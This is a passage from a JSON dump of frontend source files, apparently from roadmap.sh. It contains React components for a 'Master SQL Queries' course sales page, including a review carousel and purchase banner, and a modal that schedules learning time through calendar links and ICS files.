    "content": "import { useState } from 'react';\nimport { Play } from 'lucide-react';\nimport { VideoModal } from '../VideoModal';\n\nexport function PlatformDemo() {\n  const [isVideoModalOpen, setIsVideoModalOpen] = useState(false);\n\n  return (\n    <>\n      {isVideoModalOpen && (\n        <VideoModal\n          videoId=\"6S1CcF-ngeQ\"\n          onClose={() => setIsVideoModalOpen(false)}\n        />\n      )}\n      <div className=\"relative aspect-video w-full grow overflow-hidden rounded-lg\">\n        <img\n          src=\"https://assets.roadmap.sh/guest/course-environment-87jg8.png\"\n          alt=\"Course Environment\"\n          className=\"absolute inset-0 h-full w-full object-cover\"\n        />\n        <div\n          onClick={() => setIsVideoModalOpen(true)}\n          className=\"group absolute inset-0 flex cursor-pointer items-center justify-center bg-black/40 transition-all hover:bg-black/50\"\n        >\n          <div className=\"flex size-12 items-center justify-center rounded-full bg-white/90 transition-transform group-hover:scale-105 lg:size-16\">\n            <Play className=\"ml-1 fill-current text-black lg:size-8\" />\n          </div>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourseVariant/PurchaseBanner.tsx",
    "content": "import { CheckIcon, Star } from 'lucide-react';\nimport { BuyButton } from './BuyButton';\nimport { Rating } from '../Rating/Rating';\nimport { cn } from '../../lib/classname';\nimport { useEffect, useRef, useState } from 'react';\n\nexport function PurchaseBanner() {\n  const bannerRef = useRef<HTMLDivElement>(null);\n\n  const [isFullyInView, setIsFullyInView] = useState(false);\n\n  useEffect(() => {\n    const handleScroll = () => {\n      if (!bannerRef.current) return;\n      \n      const bannerRect = bannerRef.current.getBoundingClientRect();\n      const bannerTop = bannerRect.top;\n      const bannerBottom = bannerRect.bottom;\n      const scrollTop = window.scrollY;\n      \n      // Banner is fully in view when both top and bottom are within viewport\n      const fullyVisible = bannerTop >= 0 && bannerBottom <= window.innerHeight;\n      setIsFullyInView(fullyVisible || scrollTop > bannerRect.top);\n    };\n\n    window.addEventListener('scroll', handleScroll);\n    handleScroll(); // Check initial state\n\n    return () => {\n      window.removeEventListener('scroll', handleScroll);\n    };\n  }, []);\n\n  const Banner = (props: {\n    className?: string;\n    ref?: React.RefObject<HTMLDivElement | null>;\n  }) => {\n    return (\n      <div\n        ref={props.ref}\n        className={cn(\n          'top-4 z-50 mt-14 flex w-full flex-col gap-4 rounded-2xl bg-yellow-950 p-5 shadow-lg ring-1 ring-yellow-500/40 lg:sticky lg:flex-row lg:items-center lg:justify-between',\n          props.className,\n        )}\n      >\n        <div className=\"order-3 flex w-full flex-col items-center gap-2 lg:order-0 lg:w-fit lg:items-start\">\n          {['7-Day Money-Back Guarantee', 'Lifetime access & updates'].map(\n            (text, index) => (\n              <span\n                key={index}\n                className=\"inline-flex items-center gap-1.5 text-yellow-500\"\n              >\n                <CheckIcon className=\"size-5 stroke-[2.5]\" />\n                {text}\n              </span>\n            ),\n          )}\n        </div>\n\n        <div className=\"order-2 lg:order-0\">\n          <BuyButton\n            variant=\"floating\"\n            floatingClassName=\"translate-x-0 lg:-translate-x-5\"\n          />\n        </div>\n\n        <div className=\"flex flex-col items-center gap-2\">\n          <Rating rating={4.9} className=\"hidden lg:flex\" />\n          <span className=\"flex items-center gap-1 text-base font-semibold text-yellow-500\">\n            <Star className=\"block size-4 fill-current lg:hidden\" />\n            4.9 avg. Review\n          </span>\n        </div>\n      </div>\n    );\n  };\n  return (\n    <>\n      <Banner ref={bannerRef} />\n      <Banner\n        className={cn(\n          'fixed top-[unset] right-0 bottom-0 left-0 rounded-none lg:hidden',\n          isFullyInView ? 'flex' : 'hidden',\n        )}\n      />\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourseVariant/ReviewCarousel.tsx",
    "content": "import {\n  ChevronLeftIcon,\n  ChevronRightIcon,\n  StarIcon,\n  User2Icon,\n} from 'lucide-react';\nimport { useLayoutEffect, useMemo, useState } from 'react';\nimport { markdownToHtml } from '../../lib/markdown';\nimport { getTailwindScreenDimension } from '../../lib/is-mobile';\nimport { cn } from '../../lib/classname';\n\ntype Review = {\n  name: string;\n  role: string;\n  rating: number;\n  text: string | string[];\n  avatarUrl?: string;\n  isProminent?: boolean;\n  isSecondaryProminent?: boolean;\n  companyName?: string;\n  companyLogo?: string;\n};\n\nexport function ReviewCarousel() {\n  const reviews: Review[] = [\n    {\n      companyName: 'Cloud Camping',\n      companyLogo: 'https://assets.roadmap.sh/guest/cloudcamping-mcpl6.jpeg',\n      name: 'Robin Wieruch',\n      role: 'Author - Multiple Best-Sellers',\n      rating: 5,\n      text: [\n        'Kamran has been in the **educative space for a long time**, and it shows in the way he teaches SQL: clear, structured, and straight to the point.',\n        \"Even if you've used SQL before, this **course will fill in gaps you didn't even realize you had**. Get ready to level up your database skills!\",\n      ],\n      avatarUrl: 'https://assets.roadmap.sh/guest/robin.jpeg',\n      isProminent: true,\n    },\n    {\n      companyName: 'Hack Mamba',\n      companyLogo: 'https://assets.roadmap.sh/guest/hackmbamba-h0ivr.jpeg',\n      name: 'William Imoh',\n      role: 'Founder and Data Enthusiast',\n      rating: 5,\n      text: [\n        'I bought this course for the advanced chapters but ended up completing the entire course. I learned a lot of new things and it was **well worth the investment**.',\n        'No matter your SQL experience, this course is **a must-have** if you want to level up your SQL and data analysis skills. Highly recommended!',\n      ],\n      avatarUrl: 'https://assets.roadmap.sh/guest/william-imoh-sd2dk.jpg',\n      isProminent: true,\n    },\n    {\n      companyName: 'GlobalLogic',\n      companyLogo:\n        'https://assets.roadmap.sh/guest/globallogic_logo-3m3ho.jpeg',\n      name: 'Martina Milagros',\n      role: 'Software Engineer',\n      rating: 5,\n      text: [\n        'Thanks to Kamran Ahmed for the **incredible Master SQL course!** I truly appreciate the way you break down complex topics with such clarity and ease.',\n        '**Highly recommend this course** to anyone looking to level up their SQL game!',\n      ],\n      avatarUrl: 'https://assets.roadmap.sh/guest/martina-awc4x.jpeg',\n    },\n    {\n      companyName: 'Cisco',\n      companyLogo: 'https://assets.roadmap.sh/guest/cisco-gyw5b.jpeg',\n      name: 'Tomáš Janků',\n      role: 'Sr. Software Engineer',\n      rating: 5,\n      text: \"The course and it's interactivity is excellent and I'd honestly say it's **one of the best** on the SQL theme I've seen out there.\",\n      avatarUrl: 'https://assets.roadmap.sh/guest/tomas-janku-6bg89.jpeg',\n    },\n    {\n      companyName: 'Beyond Works',\n      companyLogo:\n        'https://assets.roadmap.sh/guest/beyondwordsio_logo-xia4m.jpeg',\n      name: 'Gourav Khunger',\n      role: 'Software Engineer',\n      rating: 5,\n      text: [\n        'This course was **absolutely brilliant!** The integrated database environment to practice what I learned was the best part. Being able to **run queries immediately** and see results in real-time made everything click so much faster than traditional learning methods.',\n      ],\n      avatarUrl: 'https://assets.roadmap.sh/guest/gourav-h2f3a.png',\n    },\n    {\n      companyName: 'xpertSea',\n      companyLogo: 'https://assets.roadmap.sh/guest/xpertsea-y24hu.jpeg',\n      name: 'Meabed',\n      role: 'CTO',\n      rating: 5,\n      text: 'Kamran has **clearly put a lot of thought** into this course. The content, structure and exercises were all great.',\n      avatarUrl: 'https://assets.roadmap.sh/guest/meabed-fu83q.jpeg',\n    },\n    {\n      companyName: 'Powersoft19',\n      companyLogo: 'https://assets.roadmap.sh/guest/powersoft19-sk4t1.jpeg',\n      name: 'Mohsin Aheer',\n      role: 'Sr. Software Engineer',\n      rating: 5,\n      text: 'I already knew SQL but this course **taught me a bunch of new things.** Practical examples and challenges were great. Highly recommended!',\n      avatarUrl: 'https://assets.roadmap.sh/guest/mohsinaheer-szchu.jpeg',\n    },\n    {\n      companyName: 'xpertSea',\n      companyLogo: 'https://assets.roadmap.sh/guest/xpertsea-y24hu.jpeg',\n      name: 'Zeeshan',\n      role: 'Sr. Software Engineer',\n      rating: 5,\n      text: 'Loved the teaching style and the way the course was structured. The **AI tutor was a great help** when I wanted some extra help.',\n      avatarUrl: 'https://assets.roadmap.sh/guest/ziishaned-qjepj.png',\n    },\n    {\n      companyName: 'University of Regensburg',\n      companyLogo:\n        'https://assets.roadmap.sh/guest/university_of_regensburg_logo-01784.jpeg',\n      name: 'Faisal Ahsan',\n      role: 'Software Engineer',\n      rating: 5,\n      text: 'The course and the learning experience was great. What I really liked was the **no-fluff explanations** and **practical examples**.',\n      avatarUrl: 'https://assets.roadmap.sh/guest/faisal-q78p2.jpeg',\n    },\n    {\n      companyName: 'xpertSea',\n      companyLogo: 'https://assets.roadmap.sh/guest/xpertsea-y24hu.jpeg',\n      name: 'Adnan Ahmed',\n      role: 'Engineering Manager',\n      rating: 5,\n      text: 'Having the integrated IDE made a huge difference. Being able to **immediately practice** what I learned was **invaluable**.',\n      avatarUrl: 'https://assets.roadmap.sh/guest/idnan-fzps5.jpeg',\n    },\n    {\n      name: 'Kalvin Chakma',\n      role: 'Jr. Software Engineer',\n      rating: 5,\n      text: \"Best SQL course I've taken. The progression from basic to advanced concepts is **well thought out**, and the challenges are **excellent**.\",\n      avatarUrl: 'https://assets.roadmap.sh/guest/kalvin-d65ol.jpeg',\n    },\n  ];\n\n  const [batchSize, setBatchSize] = useState(3);\n  const maxBatchNumber = Math.ceil(reviews.length / batchSize);\n  const [currentBatchNumber, setCurrentBatchNumber] = useState(0);\n\n  const currentBatch = useMemo(() => {\n    const result = reviews.slice(\n      currentBatchNumber * batchSize,\n      (currentBatchNumber + 1) * batchSize,\n    );\n\n    if (result.length < batchSize) {\n      const remaining = batchSize - result.length;\n      return [...result, ...reviews.slice(0, remaining)];\n    }\n\n    return result;\n  }, [currentBatchNumber, batchSize]);\n\n  const handleNextBatch = () => {\n    setCurrentBatchNumber((prev) => (prev + 1) % maxBatchNumber);\n  };\n\n  const handlePreviousBatch = () => {\n    setCurrentBatchNumber(\n      (prev) => (prev - 1 + maxBatchNumber) % maxBatchNumber,\n    );\n  };\n\n  useLayoutEffect(() => {\n    const size = getTailwindScreenDimension();\n\n    if (size === '2xl') {\n      setBatchSize(3);\n    } else if (size === 'xl' || size === 'lg') {\n      setBatchSize(2);\n    } else {\n      setBatchSize(1);\n    }\n  }, []);\n\n  return (\n    <div className=\"mx-auto mt-16 w-full max-w-5xl\">\n      <h3 className=\"text-center text-2xl font-medium text-zinc-200 md:text-3xl\">\n        What other learners said\n      </h3>\n\n      <div className=\"mt-10 mb-6 flex items-center justify-end gap-2 xl:hidden\">\n        <NavigateButton\n          onClick={handlePreviousBatch}\n          icon={<ChevronLeftIcon className=\"h-4 w-4 stroke-[2.5] text-white\" />}\n        />\n        <NavigateButton\n          onClick={handleNextBatch}\n          icon={\n            <ChevronRightIcon className=\"h-4 w-4 stroke-[2.5] text-white\" />\n          }\n        />\n      </div>\n\n      <div className=\"relative mt-0 flex gap-4 xl:mt-10\">\n        <div className=\"absolute inset-y-0 -left-2 hidden shrink-0 -translate-x-full flex-col items-center justify-center xl:flex\">\n          <NavigateButton\n            onClick={handlePreviousBatch}\n            icon={\n              <ChevronLeftIcon className=\"h-5 w-5 stroke-[2.5] text-white\" />\n            }\n          />\n        </div>\n\n        <div className=\"grid auto-rows-fr grid-cols-1 items-stretch gap-2 sm:grid-cols-2 xl:grid-cols-3\">\n          {currentBatch.map((review, index) => (\n            <div\n              key={index}\n              className={cn(\n                'review-testimonial relative flex h-full flex-col overflow-hidden rounded-2xl bg-linear-to-br from-yellow-500/10 via-yellow-500/5 to-transparent p-8 backdrop-blur-sm lg:min-h-[456px] [&_strong]:font-normal [&_strong]:text-yellow-300/70',\n                index === 2 && batchSize === 3 && 'hidden xl:flex',\n                index === 1 && batchSize === 3 && 'hidden lg:flex',\n              )}\n            >\n              <div className=\"absolute -top-8 -right-8 h-32 w-32 rounded-full bg-yellow-500/5\" />\n              <div className=\"mb-4 flex items-center gap-4\">\n                {review.avatarUrl && (\n                  <img\n                    src={review.avatarUrl}\n                    alt={review.name}\n                    className=\"h-16 w-16 rounded-full border-2 border-yellow-500/20 object-cover\"\n                  />\n                )}\n                {!review.avatarUrl && (\n                  <div className=\"flex h-16 w-16 items-center justify-center rounded-full bg-zinc-800\">\n                    <User2Icon className=\"h-8 w-8 text-zinc-400\" />\n                  </div>\n                )}\n                <div>\n                  <h3 className=\"text-lg font-semibold text-zinc-100\">\n                    {review.name}\n                  </h3>\n                  <p className=\"text-sm text-yellow-500/70\">{review.role}</p>\n                  <div className=\"mt-1 flex\">\n                    {Array.from({ length: review.rating }).map((_, i) => (\n                      <StarIcon\n                        key={i}\n                        className=\"h-4 w-4 fill-yellow-500 text-yellow-500\"\n                      />\n                    ))}\n                  </div>\n                </div>\n              </div>\n\n              <div className=\"flex flex-1 flex-col gap-3\">\n                {(typeof review.text === 'string'\n                  ? [review.text]\n                  : review.text\n                ).map((text, index) => (\n                  <p\n                    key={index}\n                    className=\"text-zinc-400 [&_strong]:font-semibold! [&_strong]:text-white!\"\n                    dangerouslySetInnerHTML={{\n                      __html: markdownToHtml(text),\n                    }}\n                  />\n                ))}\n              </div>\n\n              {review?.companyName && (\n                <div className=\"mt-10 flex items-center gap-3\">\n                  {review?.companyLogo && (\n                    <img\n                      src={review?.companyLogo}\n                      alt={review?.companyName}\n                      className=\"h-10 w-10 rounded-lg border border-yellow-500/20 object-cover\"\n                    />\n                  )}\n                  <div className=\"text-lg font-medium text-zinc-200\">\n                    {review?.companyName}\n                  </div>\n                </div>\n              )}\n            </div>\n          ))}\n        </div>\n\n        <div className=\"absolute inset-y-0 -right-2 hidden shrink-0 translate-x-full flex-col items-center justify-center xl:flex\">\n          <NavigateButton\n            onClick={handleNextBatch}\n            icon={\n              <ChevronRightIcon className=\"h-5 w-5 stroke-[2.5] text-white\" />\n            }\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n\ntype NavigateButtonProps = {\n  onClick: () => void;\n  icon: React.ReactNode;\n};\n\nfunction NavigateButton(props: NavigateButtonProps) {\n  const { onClick, icon } = props;\n\n  return (\n    <button\n      onClick={onClick}\n      className=\"flex items-center justify-center rounded-full bg-zinc-800 p-2 hover:bg-zinc-700\"\n    >\n      {icon}\n    </button>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourseVariant/RoadmapDetailsPopover.tsx",
    "content": "import { InfoIcon } from 'lucide-react';\nimport { Popover, PopoverContent, PopoverTrigger } from '../Popover';\n\nexport function RoadmapDetailsPopover() {\n  return (\n    <Popover>\n      <PopoverTrigger>\n        <InfoIcon className=\"size-4 text-yellow-500/80 hover:text-yellow-500\" />\n      </PopoverTrigger>\n      <PopoverContent\n        className=\"border-zinc-700 bg-zinc-900 px-2.5 text-sm text-zinc-200\"\n        side=\"top\"\n        align=\"start\"\n      >\n        <a\n          href=\"/\"\n          className=\"text-blue-400 underline hover:text-blue-500 focus:text-blue-500\"\n        >\n          roadmap.sh\n        </a>{' '}\n        provides community-curated roadmaps, study plans, paths, and resources\n        for developers and IT professionals. Serving 2M+ registered users, it is\n        the 6th most-starred open source project on GitHub\n      </PopoverContent>\n    </Popover>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourseVariant/SQLCourseVariantPage.tsx",
    "content": "import {\n  BrainIcon,\n  CodeIcon,\n  FileQuestionIcon,\n  NotebookTextIcon,\n} from 'lucide-react';\nimport { Spotlight } from '../SQLCourse/Spotlight';\nimport { RoadmapLogoIcon } from '../ReactIcons/RoadmapLogo';\nimport { AuthorCredentials } from './AuthorCredentials';\nimport { PlatformDemo } from './PlatformDemo';\nimport { PurchaseBanner } from './PurchaseBanner';\nimport { ReviewCarousel } from './ReviewCarousel';\nimport { CourseFeatures } from './CourseFeatures';\nimport { MeetYourInstructor } from './MeetYourInstructor';\nimport { SectionHeader } from './SectionHeader';\nimport { ChapterRow } from './ChapterRow';\nimport { BuyButton } from './BuyButton';\nimport { FAQSection } from './FAQSection';\nimport { sqlCourseChapters } from '../SQLCourse/SQLCoursePage';\n\nexport function SQLCourseVariantPage() {\n  return (\n    <div className=\"relative flex grow flex-col items-center bg-linear-to-b from-zinc-900 to-zinc-950 px-4 pb-52 text-zinc-400 md:px-10\">\n      <div className=\"mx-auto mt-7 w-full max-w-5xl md:mt-20\">\n        <div className=\"relative\">\n          <Spotlight className=\"top-[-200px] left-[-170px]\" fill=\"#EAB308\" />\n\n          <div className=\"flex flex-col gap-7 sm:flex-row sm:items-center\">\n            <a\n              href=\"https://roadmap.sh\"\n              target=\"_blank\"\n              className=\"transition-opacity hover:opacity-100\"\n            >\n              <RoadmapLogoIcon className=\"size-12 sm:size-22\" />\n            </a>\n            <div className=\"flex flex-col items-start gap-2.5\">\n              <h1 className=\"text-3xl font-bold tracking-tight text-white sm:text-4xl md:text-6xl\">\n                Master SQL Queries\n              </h1>\n              <p className=\"text-left text-xl text-balance text-zinc-300 md:text-2xl\">\n                Complete course with AI Tutor, real-world challenges and more\n              </p>\n            </div>\n          </div>\n\n          <p className=\"my-5 text-xl leading-relaxed text-zinc-300 md:my-10 lg:text-xl\">\n            Get certified for SQL queries and ready to deploy your newly-gained\n            skill in 30 days. Perfect for developers, data analysts, and anyone\n            working with data. Level up risk-free with a 7-day money-back\n            guarantee.\n          </p>\n\n          <div className=\"flex flex-col-reverse gap-7 lg:flex-row lg:gap-14\">\n            <div className=\"w-full shrink-0 flex-row-reverse items-start justify-between gap-3 text-lg md:flex lg:w-auto lg:flex-col\">\n              <div className=\"mb-7 flex flex-col gap-2 lg:mb-0 lg:gap-4\">\n                {[\n                  { Icon: NotebookTextIcon, text: '55+ Lessons' },\n                  { Icon: FileQuestionIcon, text: '100+ Challenges' },\n                  { Icon: BrainIcon, text: 'AI Tutor' },\n                  { Icon: CodeIcon, text: 'Integrated IDE' },\n                ].map(({ Icon, text }, index) => (\n                  <div\n                    key={index}\n                    className=\"flex flex-row items-center gap-2 text-base text-zinc-300 lg:text-xl\"\n                  >\n                    <Icon className=\"size-5 text-yellow-400 lg:size-6\" />\n                    <span>{text}</span>\n                  </div>\n                ))}\n              </div>\n\n              <AuthorCredentials />\n            </div>\n\n            <PlatformDemo />\n          </div>\n        </div>\n\n        <PurchaseBanner />\n\n        <ReviewCarousel />\n\n        <CourseFeatures />\n\n        <MeetYourInstructor />\n\n        <SectionHeader\n          title=\"Course Overview\"\n          description=\"This SQL programming class is designed to help you go from beginner to expert through hands-on practice with real-world scenarios, mastering everything from basic to complex queries.\"\n          className=\"mt-8 md:mt-24\"\n        />\n\n        <div className=\"mx-auto mt-8 w-full max-w-3xl space-y-4 md:mt-12\">\n          {sqlCourseChapters.map((chapter, index) => (\n            <ChapterRow key={index} counter={index + 1} {...chapter} />\n          ))}\n        </div>\n\n        <SectionHeader\n          title=\"Ready to master SQL?\"\n          description=\"Start learning SQL queries risk-free with a 7-day money-back guarantee.\"\n          className=\"mt-8 md:mt-24\"\n        />\n\n        <div className=\"mx-auto mt-8 w-full\">\n          <BuyButton variant=\"floating\" />\n        </div>\n\n        <FAQSection />\n\n        <div className=\"mx-auto mt-12 w-full max-w-3xl text-left md:mt-9\">\n          <p className=\"flex flex-col items-center justify-center gap-2 text-sm md:flex-row md:gap-0\">\n            <a href=\"/terms\" target=\"_blank\" className=\"text-zinc-500\">\n              Terms of Use\n            </a>\n            <span className=\"mx-4 hidden md:block\">&middot;</span>\n            <a href=\"/privacy\" target=\"_blank\" className=\"text-zinc-500\">\n              Privacy Policy\n            </a>\n          </p>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourseVariant/SectionHeader.tsx",
    "content": "import { cn } from '../../lib/classname';\n\ntype SectionHeaderProps = {\n  title: string;\n  description: string | React.ReactNode;\n  className?: string;\n};\n\nexport function SectionHeader(props: SectionHeaderProps) {\n  const { title, description, className } = props;\n\n  return (\n    <div className={cn('mx-auto mt-24 w-full text-center', className)}>\n      <div className=\"relative w-full\">\n        <h4 className=\"text-2xl font-medium text-zinc-200 md:text-3xl\">\n          {title}\n        </h4>\n      </div>\n      {typeof description === 'string' ? (\n        <p className=\"mt-2 text-center text-lg text-balance text-zinc-400 md:mt-5 md:text-xl\">\n          {description}\n        </p>\n      ) : (\n        description\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Schedule/ScheduleButton.tsx",
    "content": "import { Calendar } from 'lucide-react';\nimport { cn } from '../../lib/classname';\nimport type { ResourceType } from '../../lib/resource-progress';\nimport { ScheduleEventModal } from './ScheduleEventModal';\nimport { useState } from 'react';\n\ntype ScheduleButtonProps = {\n  resourceId: string;\n  resourceType: ResourceType;\n  resourceTitle: string;\n};\n\nexport function ScheduleButton(props: ScheduleButtonProps) {\n  const { resourceId, resourceType, resourceTitle } = props;\n\n  const [isModalOpen, setIsModalOpen] = useState(false);\n\n  return (\n    <>\n      {isModalOpen && (\n        <ScheduleEventModal\n          onClose={() => {\n            setIsModalOpen(false);\n          }}\n          roadmapId={resourceId}\n        />\n      )}\n\n      <button\n        className=\"inline-flex items-center justify-center gap-2 rounded-md bg-gray-200 px-3 py-1.5 text-xs font-medium hover:bg-gray-300 sm:text-sm\"\n        onClick={() => {\n          setIsModalOpen(true);\n        }}\n      >\n        <Calendar className=\"h-4 w-4 shrink-0\" />\n        <span className=\"hidden sm:inline\">Schedule Learning Time</span>\n      </button>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/Schedule/ScheduleEventModal.tsx",
    "content": "import { DateTime } from 'luxon';\nimport { Modal } from '../Modal';\nimport { ChevronRight, type LucideIcon, X } from 'lucide-react';\nimport { useState, type ReactNode, type SVGProps } from 'react';\nimport { GoogleCalendarIcon } from '../ReactIcons/GoogleCalendarIcon';\nimport { OutlookCalendarIcon } from '../ReactIcons/OutlookCalendarIcon';\nimport { AppleCalendarIcon } from '../ReactIcons/AppleCalendarIcon';\nimport { FileIcon } from '../ReactIcons/FileIcon';\n\nfunction generateRoadmapIcsFile(\n  title: string,\n  details: string,\n  location: string,\n  startDate: Date,\n  endDate: Date,\n) {\n  const ics = `\nBEGIN:VCALENDAR\nVERSION:2.0\nBEGIN:VEVENT\nSUMMARY:${title}\nDESCRIPTION:${details}\nLOCATION:${location}\nDTSTART:${startDate.toISOString().replace(/-|:|\\.\\d+/g, '')}\nDTEND:${endDate.toISOString().replace(/-|:|\\.\\d+/g, '')}\nRRULE:FREQ=WEEKLY;BYDAY=MO,TU,WE,TH,FR\n\nBEGIN:VALARM\nTRIGGER:-PT30M\nACTION:DISPLAY\nDESCRIPTION:Reminder: ${title} starts in 30 minutes\nEND:VALARM\n\nBEGIN:VALARM\nTRIGGER:-PT15M\nACTION:DISPLAY\nDESCRIPTION:Reminder: ${title} starts in 15 minutes\nEND:VALARM\n\nEND:VEVENT\nEND:VCALENDAR\n  `.trim();\n\n  return new Blob([ics], { type: 'text/calendar' });\n}\n\ntype ScheduleEventModalProps = {\n  roadmapId: string;\n  onClose: () => void;\n};\n\nexport function ScheduleEventModal(props: ScheduleEventModalProps) {\n  const { onClose, roadmapId } = props;\n\n  let roadmapTitle = '';\n\n  if (roadmapId === 'devops') {\n    roadmapTitle = 'DevOps';\n  } else if (roadmapId === 'ios') {\n    roadmapTitle = 'iOS';\n  } else if (roadmapId === 'postgresql-dba') {\n    roadmapTitle = 'PostgreSQL';\n  } else if (roadmapId === 'devrel') {\n    roadmapTitle = 'DevRel';\n  } else if (roadmapId === 'qa') {\n    roadmapTitle = 'QA';\n  } else if (roadmapId === 'api-design') {\n    roadmapTitle = 'API Design';\n  } else if (roadmapId === 'ai-data-scientist') {\n    roadmapTitle = 'AI/Data Scientist';\n  } else if (roadmapId === 'technical-writer') {\n  } else if (roadmapId === 'software-architect') {\n    roadmapTitle = 'Software Architecture';\n  } else if (roadmapId === 'ai-engineer') {\n    roadmapTitle = 'AI Engineer';\n  } else {\n    roadmapTitle = roadmapId\n      .split('-')\n      .map((word) => word.charAt(0).toUpperCase() + word.slice(1))\n      .join(' ');\n  }\n\n  const [selectedCalendar, setSelectedCalendar] = useState<\n    'apple' | 'outlook' | null\n  >(null);\n  const [isLoading, setIsLoading] = useState(false);\n\n  const location = `https://roadmap.sh/${roadmapId}`;\n  const title = `Learn from ${roadmapTitle} Roadmap - roadmap.sh`;\n  const details = `\nLearn from the ${roadmapTitle} roadmap on roadmap.sh\n\nVisit the roadmap at https://roadmap.sh/${roadmapId}\n  `.trim();\n\n  const handleDownloadICS = () => {\n    setIsLoading(true);\n\n    const calendarTitle = selectedCalendar || 'ICS';\n\n    triggerScheduleEvent(\n      `${calendarTitle.charAt(0).toUpperCase()}${calendarTitle.slice(1)}`,\n    );\n\n    const startDate = DateTime.now().minus({\n      minutes: DateTime.now().minute % 30,\n    });\n    const endDate = startDate.plus({ hours: 1 });\n    const blob = generateRoadmapIcsFile(\n      title,\n      details,\n      location,\n      startDate.toJSDate(),\n      endDate.toJSDate(),\n    );\n\n    const url = URL.createObjectURL(blob);\n\n    const a = document.createElement('a');\n    a.href = url;\n    a.download = `${roadmapTitle}.ics`;\n    a.click();\n\n    setIsLoading(false);\n    URL.revokeObjectURL(url);\n  };\n\n  const triggerScheduleEvent = function (type: string) {\n    window.fireEvent({\n      category: 'ScheduleTimeClick',\n      action: `Schedule Learning Time`,\n      label: `Schedule Learning Time / ${type}`,\n      value: `Schedule Learning Time / ${type}`,\n    });\n  };\n\n  const handleGoogleCalendar = () => {\n    setIsLoading(true);\n    triggerScheduleEvent('Google');\n\n    const baseURL =\n      'https://calendar.google.com/calendar/render?action=TEMPLATE';\n\n    const startDate = DateTime.now().minus({\n      minutes: DateTime.now().minute % 30,\n    });\n    const endDate = startDate.plus({ hours: 1 });\n\n    const eventDetails = new URLSearchParams({\n      text: title,\n      dates: `${startDate.toISO().replace(/-|:|\\.\\d+/g, '')}/${endDate.toISO().replace(/-|:|\\.\\d+/g, '')}`,\n      details,\n      location,\n      recur: 'RRULE:FREQ=WEEKLY;BYDAY=MO,TU,WE,TH,FR',\n    }).toString();\n\n    setIsLoading(false);\n    window.open(`${baseURL}&${eventDetails}`, '_blank');\n  };\n\n  const stepDetails = {\n    apple: {\n      title: 'Add to Apple Calendar',\n      steps: [\n        'Download the iCS File',\n        'Open the downloaded file, and it will automatically open your default calendar app.',\n        <>\n          If Apple Calendar is not your default calendar app, open Apple\n          Calendar, go to <strong>File &gt; Import</strong>, and choose the\n          downloaded file.\n        </>,\n      ],\n    },\n    outlook: {\n      title: 'Add to Outlook Calendar',\n      steps: [\n        'Download the iCS File',\n        <>\n          Open Outlook and go to{' '}\n          <strong>File &gt; Open & Export &gt; Import/Export</strong>.\n        </>,\n        <>\n          In the Import and Export Wizard select{' '}\n          <strong>Import an iCalendar (.ics) or vCalendar file (.vcs)</strong>.\n          You can then choose to keep it a separate calendar or make it a new\n          calendar.\n        </>,\n      ],\n    },\n  };\n\n  return (\n    <Modal\n      onClose={onClose}\n      bodyClassName=\"bg-transparent shadow-none\"\n      wrapperClassName=\"h-auto max-w-lg\"\n      overlayClassName=\"items-start md:items-center\"\n    >\n      <div className=\"rounded-xl bg-white px-3\">\n\n        <div className=\"flex flex-col items-center p-4 py-6 text-center\">\n          {selectedCalendar && (\n            <CalendarSteps\n              title={stepDetails[selectedCalendar].title}\n              steps={stepDetails[selectedCalendar].steps}\n              onDownloadICS={handleDownloadICS}\n              onCancel={() => {\n                setSelectedCalendar(null);\n              }}\n              isLoading={isLoading}\n            />\n          )}\n\n          {!selectedCalendar && (\n            <>\n              <h2 className=\"text-3xl font-semibold\">Schedule Learning Time</h2>\n              <p className=\"mt-1.5 text-balance text-base text-gray-600\">\n                Block some time on your calendar to stay consistent\n              </p>\n\n              <div className=\"mt-6 flex w-full flex-col gap-1\">\n                <CalendarButton\n                  icon={GoogleCalendarIcon}\n                  label=\"Google Calendar\"\n                  onClick={handleGoogleCalendar}\n                  isLoading={isLoading}\n                />\n                <CalendarButton\n                  icon={AppleCalendarIcon}\n                  label=\"Apple Calendar\"\n                  onClick={() => {\n                    setSelectedCalendar('apple');\n                  }}\n                />\n                <CalendarButton\n                  icon={OutlookCalendarIcon}\n                  label=\"Outlook Calendar\"\n                  onClick={() => {\n                    setSelectedCalendar('outlook');\n                  }}\n                />\n\n                <div className=\"mx-auto my-4 text-base text-gray-600\">\n                  or download the iCS file and import it to your calendar app\n                </div>\n\n                <CalendarButton\n                  icon={FileIcon}\n                  label=\"Download File (.ics)\"\n                  onClick={handleDownloadICS}\n                />\n              </div>\n            </>\n          )}\n        </div>\n      </div>\n    </Modal>\n  );\n}\n\ntype SVGIcon = (props: SVGProps<SVGSVGElement>) => ReactNode;\n\ntype CalendarButtonProps = {\n  icon: LucideIcon | SVGIcon;\n  label: string;\n  isLoading?: boolean;\n  onClick: () => void;\n};\n\nfunction CalendarButton(props: CalendarButtonProps) {\n  const { icon: Icon, label, isLoading, onClick } = props;\n\n  return (\n    <button\n      className=\"flex w-full items-center justify-between gap-2 rounded-lg border px-3 py-3 leading-none hover:bg-gray-100 disabled:opacity-60 data-[loading='true']:cursor-progress\"\n      data-loading={isLoading}\n      disabled={isLoading}\n      onClick={onClick}\n    >\n      <div className=\"flex items-center gap-2\">\n        <Icon className=\"h-5 w-5 shrink-0 stroke-[2.5]\" />\n        {label}\n      </div>\n      <ChevronRight className=\"h-4 w-4 stroke-[2.5]\" />\n    </button>\n  );\n}\n\ntype CalendarStepsProps = {\n  title: string;\n  steps: (string | ReactNode)[];\n  onDownloadICS: () => void;\n  isLoading?: boolean;\n  onCancel: () => void;\n};\n\nexport function CalendarSteps(props: CalendarStepsProps) {\n  const { steps, onDownloadICS, onCancel, title, isLoading } = props;\n\n  return (\n    <div className=\"flex flex-col\">\n      <h2 className=\"text-3xl font-semibold\">{title}</h2>\n\n      <div className=\"mt-6 flex flex-col gap-2\">\n        {steps.map((step, index) => (\n          <div key={index} className=\"flex items-baseline gap-3\">\n            <div className=\"relative top-px flex h-6 w-6 shrink-0 